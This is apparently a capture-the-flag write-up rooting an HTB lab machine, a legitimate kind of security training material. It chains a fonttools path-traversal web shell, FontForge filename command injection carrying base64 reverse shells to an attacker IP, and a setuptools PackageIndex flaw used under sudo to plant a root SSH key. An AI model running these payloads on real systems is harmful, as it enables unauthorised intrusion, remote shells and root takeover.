
nmap only found 2 open ports, ssh and http.

Using ffuf I found a subdomain, portal.
What looks like an admin panel.
Doesn't look like any type of public software.
Using ffuf in this subdomain, I found what looks like a .git directory.
Now, I take this repo using git-dumper.
./gitdumper.sh http://portal.variatype.htb/.git/ dump
I can see now who this .git have a php file.
I can see 2 commits here.
And, what looks like harcoded credentials.
With this creds, im able to access the credentials.
Now, after try a lot of options, i decide to be especulative, and i decide to try CVE-2025-66034, the only vulnerability who could allow me to exploit something in this scenary.
This cve is a Phath traversal vulnerability in python fonttools library, so, with that, I will need to exploit a write path traversal to allow me to write a php shell in the files directory.
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<!-- XML injection occurs in labelname elements with CDATA sections -->
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php echo shell_exec($_GET['cmd']);?>]]]]><![CDATA[>]]></labelname>
<labelname xml:lang="fr">MEOW2</labelname>
</axis>
</axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
<sources>
<source filename="Bold.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="Bold.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<variable-fonts>
<variable-font name="MaliciousFont" filename="../../../../var/www/portal.variatype.htb/public/files/shell.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
<instances>
<instance name="Display Thin" familyname="MyFont" stylename="Thin">
<location><dimension name="Weight" xvalue="100"/></location>
<labelname xml:lang="en">Display Thin</labelname>
</instance>
</instances>
</designspace>
With this, now, I can execute a reverse shell.

I found a FontForge instance installed in the machine.
And its version is vulnerable to CVE-2024-25082.
I comfirm the vulnerability with the next poc.
touch archive.zip\;id\;.zip
/usr/local/src/fontforge/build/bin/fontforge -lang=ff -c 'Open($1);' archive.zip\;id\;.zip /tmp/zip.ttf
I also founs an interesting script.
This script, uses the vulnerable version of FontForge.
To test this vuln, I create a poc file and move it to the web files dir, where this script search for zip files.
Also, if we analize the code, we will see who it will no acept any type of empty file.
SO, we will need to create a zip file with something and a malicious name.
zip '$(echo dG91Y2ggL3RtcC9wcnVlYmE= | base64 -d | bash).zip' /home/ignacio/Descargas/MyVariableFont_fFY0zNg-Az8.ttf
Here, i find another problem, this script have a heavy character protection.
So, the last exploit will not work, so, i tried another focus, due to the app logic, this filter should only be aplied 1 time, so, if the zip unzips a normalname.zip with a maliciousname.ttl inside, it should work.
zip 'exploit.zip' \$\(echo\ dG91Y2ggL3RtcC9wcnVlYmE=\ \|\ base64\ -d\ \|\ bash\).ttl
And it works, so, now, I can execute a reverse shell.

echo -n "bash -c 'bash -i >& /dev/tcp/10.10.16.29/9001 0>&1'" | base64
cp /home/ignacio/Descargas/MyVariableFont_fFY0zNg-Az8.ttf '$(echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yOS85MDAxIDA+JjEn | base64 -d | bash).ttl'
zip exploit.zip '$(echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yOS85MDAxIDA+JjEn | base64 -d | bash).ttl'
After some time, we will obtain the user steve shell in nc.

Using sudo -l i can see who steve can use a python script as root.

import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex
# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"
# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s [%(levelname)s] %(message)s',
handlers=[
logging.FileHandler(LOG_FILE),
logging.StreamHandler(sys.stdout)
]
)
def is_valid_url(url):
try:
result = urlparse(url)
return all([result.scheme in ('http', 'https'), result.netloc])
except Exception:
return False
def install_validator_plugin(plugin_url):
if not os.path.exists(PLUGIN_DIR):
os.makedirs(PLUGIN_DIR, mode=0o755)
logging.info(f"Attempting to install plugin from: {plugin_url}")
index = PackageIndex()
try:
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
logging.info(f"Plugin installed at: {downloaded_path}")
print("[+] Plugin installed successfully.")
except Exception as e:
logging.error(f"Failed to install plugin: {e}")
print(f"[-] Error: {e}")
sys.exit(1)
def main():
if len(sys.argv) != 2:
print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
sys.exit(1)
plugin_url = sys.argv[1]
if not is_valid_url(plugin_url):
print("[-] Invalid URL. Must start with http:// or https://")
sys.exit(1)
if plugin_url.count('/') > 10:
print("[-] Suspiciously long URL. Aborting.")
sys.exit(1)
install_validator_plugin(plugin_url)
if __name__ == "__main__":
if os.geteuid() != 0:
print("[-] This script must be run as root (use sudo).")
sys.exit(1)
main()
Loking into the script, I found who the library PackageIndex is vulnerable to CVE-2025-47273.
Now, from here, I got some options, the best one is generate a ssh key and write it in /root/.ssh/authorized_keys
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
To provide the key, I need an http server who ignores the route and alwais brings a 200 with the key, for that I used the next http server.
from http.server import HTTPServer, BaseHTTPRequestHandler
import sys
class MinimalHandler(BaseHTTPRequestHandler):
def do_GET(self):
with open("id_rsa.pub", "rb") as f:
content = f.read()
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
self.wfile.write(content)
print(f"[*] Served payload to {self.client_address[0]}")
port = int(sys.argv[1]) if len(sys.argv) > 1 else 8000
print(f"[+] Server listening on port {port}...")
HTTPServer(('0.0.0.0', port), MinimalHandler).serve_forever()
Now, I execute the payload.
sudo /usr/bin/python3 /opt/font-tools/install_validator.py http://10.10.16.29:80/%2froot%2f.ssh%2fauthorized_keys
And I can connect as root with ssh.
